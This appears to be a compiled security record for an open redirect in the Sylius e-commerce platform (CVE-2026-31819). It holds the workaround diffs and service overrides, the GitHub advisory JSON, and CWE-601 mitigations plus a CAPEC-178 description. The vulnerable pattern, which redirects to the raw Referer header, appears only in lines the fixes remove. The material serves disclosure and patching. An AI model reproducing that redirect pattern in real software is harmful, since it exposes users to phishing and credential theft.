UrlMatcherInterface. While this adds partial validation, it still passes the full referer URL toRedirectResponse, so the open redirect remains exploitable.
-namespace Sylius\Bundle\ShopBundle\Locale;
+namespace App\Locale;
use Sylius\Bundle\ShopBundle\Locale\LocaleSwitcherInterface;
use Sylius\Component\Channel\Context\ChannelContextInterface;
use Sylius\Component\Core\Locale\LocaleStorageInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
-use Symfony\Component\Routing\Exception\ResourceNotFoundException;
-use Symfony\Component\Routing\Matcher\UrlMatcherInterface;
+use Symfony\Component\Routing\RouterInterface;
final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface
{
public function __construct(
private LocaleStorageInterface $localeStorage,
private ChannelContextInterface $channelContext,
- private ?UrlMatcherInterface $urlMatcher = null,
+ private RouterInterface $router,
) {
- if (null === $this->urlMatcher) {
- trigger_deprecation(
- 'sylius/shop-bundle',
- '2.1',
- 'Not passing a "%s" to "%s" is deprecated and will be required in Sylius 3.0.',
- UrlMatcherInterface::class,
- self::class,
- );
- }
}
public function handle(Request $request, string $localeCode): RedirectResponse
{
$this->localeStorage->set($this->channelContext->getChannel(), $localeCode);
- $url = $request->headers->get('referer', $request->getSchemeAndHttpHost());
-
- if ($this->urlMatcher) {
- try {
- $this->urlMatcher->match($url);
- } catch (ResourceNotFoundException) {
- return new RedirectResponse($request->getSchemeAndHttpHost());
- }
- }
-
- return new RedirectResponse($url);
+ return new RedirectResponse($this->router->generate('sylius_shop_homepage'));
}
}
Step 4 - Override the services
Add to config/services.yaml.
Sylius 1.x (1.9 – 1.14):
services:
# ... your existing services ...
sylius.controller.shop.currency_switch:
class: App\Controller\CurrencySwitchController
public: true
arguments:
$templatingEngine: '@twig'
$currencyStorage: '@sylius.storage.currency'
$channelContext: '@sylius.context.channel'
$router: '@router'
sylius.controller.shop.impersonate_user:
class: App\Controller\Admin\ImpersonateUserController
public: true
arguments:
$impersonator: '@sylius.admin.security.user_impersonator'
$authorizationChecker: '@security.authorization_checker'
$userProvider: '@sylius.admin_user_provider.email_or_name_based'
$router: '@router'
$authorizationRole: 'ROLE_ADMINISTRATION_ACCESS'
# Only if you use locale_switcher: storage
sylius.shop.locale_switcher:
class: App\Locale\StorageBasedLocaleSwitcher
public: false
arguments:
$localeStorage: '@sylius.storage.locale'
$channelContext: '@sylius.context.channel'
$router: '@router'
Sylius 2.x (2.0 – 2.1):
services:
# ... your existing services ...
sylius_shop.controller.currency_switch:
class: App\Controller\CurrencySwitchController
public: true
arguments:
$currencyStorage: '@sylius.storage.currency'
$channelContext: '@sylius.context.channel'
$router: '@router'
sylius_admin.controller.impersonate_user:
class: App\Controller\Admin\ImpersonateUserController
public: true
arguments:
$impersonator: '@sylius_admin.security.shop_user_impersonator'
$authorizationChecker: '@security.authorization_checker'
$userProvider: '@sylius.shop_user_provider.email_or_name_based'
$router: '@router'
$authorizationRole: 'ROLE_ADMINISTRATION_ACCESS'
# Only if you use locale_switcher: storage
sylius_shop.locale_switcher:
class: App\Locale\StorageBasedLocaleSwitcher
public: false
arguments:
$localeStorage: '@sylius.storage.locale'
$channelContext: '@sylius.context.channel'
$router: '@router'
Step 5 - Clear cache
bin/console cache:clear
Customizing the redirect target
If you need a different redirect target, override the route definition with the _sylius.redirect attribute:
# config/routes/sylius_shop.yaml (AFTER the sylius_shop resource import)
sylius_shop_switch_currency:
path: /{_locale}/switch-currency/{code}
methods: [GET]
defaults:
_controller: sylius.controller.shop.currency_switch:switchAction
_sylius:
redirect: sylius_shop_product_index # or any route name
Reporters
We would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability: - Bartłomiej Nowiński (@bnBart)
For more information
If you have any questions or comments about this advisory:
- Open an issue in Sylius issues
- Email us at security@sylius.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.11"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.15"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.11.16"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0"
},
{
"fixed": "1.11.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.12.22"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "1.12.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.13.14"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.13.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.14.17"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "1.14.0"
},
{
"fixed": "1.14.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.15"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.11"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Packagist",
"name": "sylius/sylius"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31819"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:12:29Z",
"nvd_published_at": "2026-03-10T22:16:19Z",
"severity": "MODERATE"
},
"details": "### Impact\n`CurrencySwitchController::switchAction()`, `ImpersonateUserController::impersonateAction()` and `StorageBasedLocaleSwitcher::handle()` use the HTTP Referer header directly when redirecting.\n\nThe attack requires the victim to click a legitimate application link placed on an attacker-controlled page. The browser automatically sends the attacker\u0027s site as the Referer, and the application redirects back to it. This can be used for phishing or credential theft, as the redirect originates from a trusted domain.\n\nThe severity varies by endpoint; public endpoints require no authentication and are trivially exploitable, while admin-only endpoints require an authenticated session but remain vulnerable if an admin follows a link from an external source such as email or chat.\n\nAffected classes:\n- `CurrencySwitchController::switchAction()` - public\n- `StorageBasedLocaleSwitcher::handle()` - public, used in locale switching without having locale in the `url`\n- `ImpersonateUserController::impersonateAction()` - admin-only\n\n### Patches\nThe issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.\n\n### Workarounds\nIf you cannot update Sylius immediately, copy the affected classes from vendor to your project\u0027s `src/` directory, apply the fix, and override the service definitions.\n\n#### Step 1 - CurrencySwitchController\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Controller/CurrencySwitchController.php` to `src/Controller/CurrencySwitchController.php` and apply the following changes:\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Controller;\n+namespace App\\Controller;\n\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Currency\\CurrencyStorageInterface;\n use Sylius\\Component\\Core\\Model\\ChannelInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n use Symfony\\Component\\HttpFoundation\\Response;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class CurrencySwitchController\n {\n public function __construct(\n private Environment $templatingEngine, // for 1.x version\n private CurrencyStorageInterface $currencyStorage,\n private ChannelContextInterface $channelContext,\n+ private RouterInterface $router,\n ) {\n }\n\n public function switchAction(Request $request, string $code): Response\n {\n /** @var ChannelInterface $channel */\n $channel = $this-\u003echannelContext-\u003egetChannel();\n\n $this-\u003ecurrencyStorage-\u003eset($channel, $code);\n\n- return new RedirectResponse($request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost()));\n+ return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n }\n }\n```\n\n#### Step 2 - ImpersonateUserController\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/AdminBundle/Controller/ImpersonateUserController.php` to `src/Controller/Admin/ImpersonateUserController.php` and apply the following changes:\n\n```diff\n-namespace Sylius\\Bundle\\AdminBundle\\Controller;\n+namespace App\\Controller\\Admin;\n\n // ... (keep all existing use statements)\n\n public function impersonateAction(Request $request, string $username): Response\n {\n // ... (keep authorization check and impersonation logic)\n\n $this-\u003eaddFlash($request, $username);\n\n- $redirectUrl = $request-\u003eheaders-\u003eget(\n- \u0027referer\u0027,\n+ return new RedirectResponse(\n $this-\u003erouter-\u003egenerate(\u0027sylius_admin_customer_show\u0027, [\u0027id\u0027 =\u003e $user-\u003egetId()])\n );\n-\n- return new RedirectResponse($redirectUrl);\n }\n```\n\n#### Step 3 - StorageBasedLocaleSwitcher (only if you use `locale_switcher: storage`)\n\n\u003e **Note:** Skip this step if you use the default `locale_switcher: url` mode.\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Locale/StorageBasedLocaleSwitcher.php` to `src/Locale/StorageBasedLocaleSwitcher.php` and apply the following changes:\n\n**For Sylius 1.9 \u2013 2.1.2:**\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Locale;\n+namespace App\\Locale;\n\n use Sylius\\Bundle\\ShopBundle\\Locale\\LocaleSwitcherInterface;\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Locale\\LocaleStorageInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface\n {\n public function __construct(\n private LocaleStorageInterface $localeStorage,\n private ChannelContextInterface $channelContext,\n+ private RouterInterface $router,\n ) {\n }\n\n public function handle(Request $request, string $localeCode): RedirectResponse\n {\n $this-\u003elocaleStorage-\u003eset($this-\u003echannelContext-\u003egetChannel(), $localeCode);\n\n- return new RedirectResponse($request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost()));\n+ return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n }\n }\n```\n\n**For Sylius 2.1.3 and later:**\n\n\u003e In Sylius 2.1.3 the class was refactored to use `UrlMatcherInterface`. While this adds partial validation, it still passes the full referer URL to `RedirectResponse`, so the open redirect remains exploitable.\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Locale;\n+namespace App\\Locale;\n\n use Sylius\\Bundle\\ShopBundle\\Locale\\LocaleSwitcherInterface;\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Locale\\LocaleStorageInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n-use Symfony\\Component\\Routing\\Exception\\ResourceNotFoundException;\n-use Symfony\\Component\\Routing\\Matcher\\UrlMatcherInterface;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface\n {\n public function __construct(\n private LocaleStorageInterface $localeStorage,\n private ChannelContextInterface $channelContext,\n- private ?UrlMatcherInterface $urlMatcher = null,\n+ private RouterInterface $router,\n ) {\n- if (null === $this-\u003eurlMatcher) {\n- trigger_deprecation(\n- \u0027sylius/shop-bundle\u0027,\n- \u00272.1\u0027,\n- \u0027Not passing a \"%s\" to \"%s\" is deprecated and will be required in Sylius 3.0.\u0027,\n- UrlMatcherInterface::class,\n- self::class,\n- );\n- }\n }\n\n public function handle(Request $request, string $localeCode): RedirectResponse\n {\n $this-\u003elocaleStorage-\u003eset($this-\u003echannelContext-\u003egetChannel(), $localeCode);\n- $url = $request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost());\n-\n- if ($this-\u003eurlMatcher) {\n- try {\n- $this-\u003eurlMatcher-\u003ematch($url);\n- } catch (ResourceNotFoundException) {\n- return new RedirectResponse($request-\u003egetSchemeAndHttpHost());\n- }\n- }\n-\n- return new RedirectResponse($url);\n+ return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n }\n }\n```\n\n#### Step 4 - Override the services\n\nAdd to `config/services.yaml`.\n\n**Sylius 1.x (1.9 \u2013 1.14):**\n\n```yaml\nservices:\n # ... your existing services ...\n\n sylius.controller.shop.currency_switch:\n class: App\\Controller\\CurrencySwitchController\n public: true\n arguments:\n $templatingEngine: \u0027@twig\u0027\n $currencyStorage: \u0027@sylius.storage.currency\u0027\n $channelContext: \u0027@sylius.context.channel\u0027\n $router: \u0027@router\u0027\n\n sylius.controller.shop.impersonate_user:\n class: App\\Controller\\Admin\\ImpersonateUserController\n public: true\n arguments:\n $impersonator: \u0027@sylius.admin.security.user_impersonator\u0027\n $authorizationChecker: \u0027@security.authorization_checker\u0027\n $userProvider: \u0027@sylius.admin_user_provider.email_or_name_based\u0027\n $router: \u0027@router\u0027\n $authorizationRole: \u0027ROLE_ADMINISTRATION_ACCESS\u0027\n\n # Only if you use locale_switcher: storage\n sylius.shop.locale_switcher:\n class: App\\Locale\\StorageBasedLocaleSwitcher\n public: false\n arguments:\n $localeStorage: \u0027@sylius.storage.locale\u0027\n $channelContext: \u0027@sylius.context.channel\u0027\n $router: \u0027@router\u0027\n```\n\n**Sylius 2.x (2.0 \u2013 2.1):**\n\n```yaml\nservices:\n # ... your existing services ...\n\n sylius_shop.controller.currency_switch:\n class: App\\Controller\\CurrencySwitchController\n public: true\n arguments:\n $currencyStorage: \u0027@sylius.storage.currency\u0027\n $channelContext: \u0027@sylius.context.channel\u0027\n $router: \u0027@router\u0027\n\n sylius_admin.controller.impersonate_user:\n class: App\\Controller\\Admin\\ImpersonateUserController\n public: true\n arguments:\n $impersonator: \u0027@sylius_admin.security.shop_user_impersonator\u0027\n $authorizationChecker: \u0027@security.authorization_checker\u0027\n $userProvider: \u0027@sylius.shop_user_provider.email_or_name_based\u0027\n $router: \u0027@router\u0027\n $authorizationRole: \u0027ROLE_ADMINISTRATION_ACCESS\u0027\n\n # Only if you use locale_switcher: storage\n sylius_shop.locale_switcher:\n class: App\\Locale\\StorageBasedLocaleSwitcher\n public: false\n arguments:\n $localeStorage: \u0027@sylius.storage.locale\u0027\n $channelContext: \u0027@sylius.context.channel\u0027\n $router: \u0027@router\u0027\n```\n\n#### Step 5 - Clear cache\n\n```bash\nbin/console cache:clear\n```\n\n---\n\n#### Customizing the redirect target\n\nIf you need a different redirect target, override the route definition with the `_sylius.redirect` attribute:\n\n```yaml\n# config/routes/sylius_shop.yaml (AFTER the sylius_shop resource import)\nsylius_shop_switch_currency:\n path: /{_locale}/switch-currency/{code}\n methods: [GET]\n defaults:\n _controller: sylius.controller.shop.currency_switch:switchAction\n _sylius:\n redirect: sylius_shop_product_index # or any route name\n```\n\n### Reporters\n\nWe would like to extend our gratitude to the following individuals for their detailed reporting and responsible disclosure of this vulnerability:\n- Bart\u0142omiej Nowi\u0144ski (@bnBart)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [Sylius issues](https://github.com/Sylius/Sylius/issues?q=sort%3Aupdated-desc+is%3Aissue+is%3Aopen)\n- Email us at [security@sylius.com](mailto:security@sylius.com)",
"id": "GHSA-9ffx-f77r-756w",
"modified": "2026-03-11T20:32:25Z",
"published": "2026-03-11T00:12:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Sylius/Sylius/security/advisories/GHSA-9ffx-f77r-756w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31819"
},
{
"type": "PACKAGE",
"url": "https://github.com/Sylius/Sylius"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Sylius has an Open Redirect via Referer Header"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.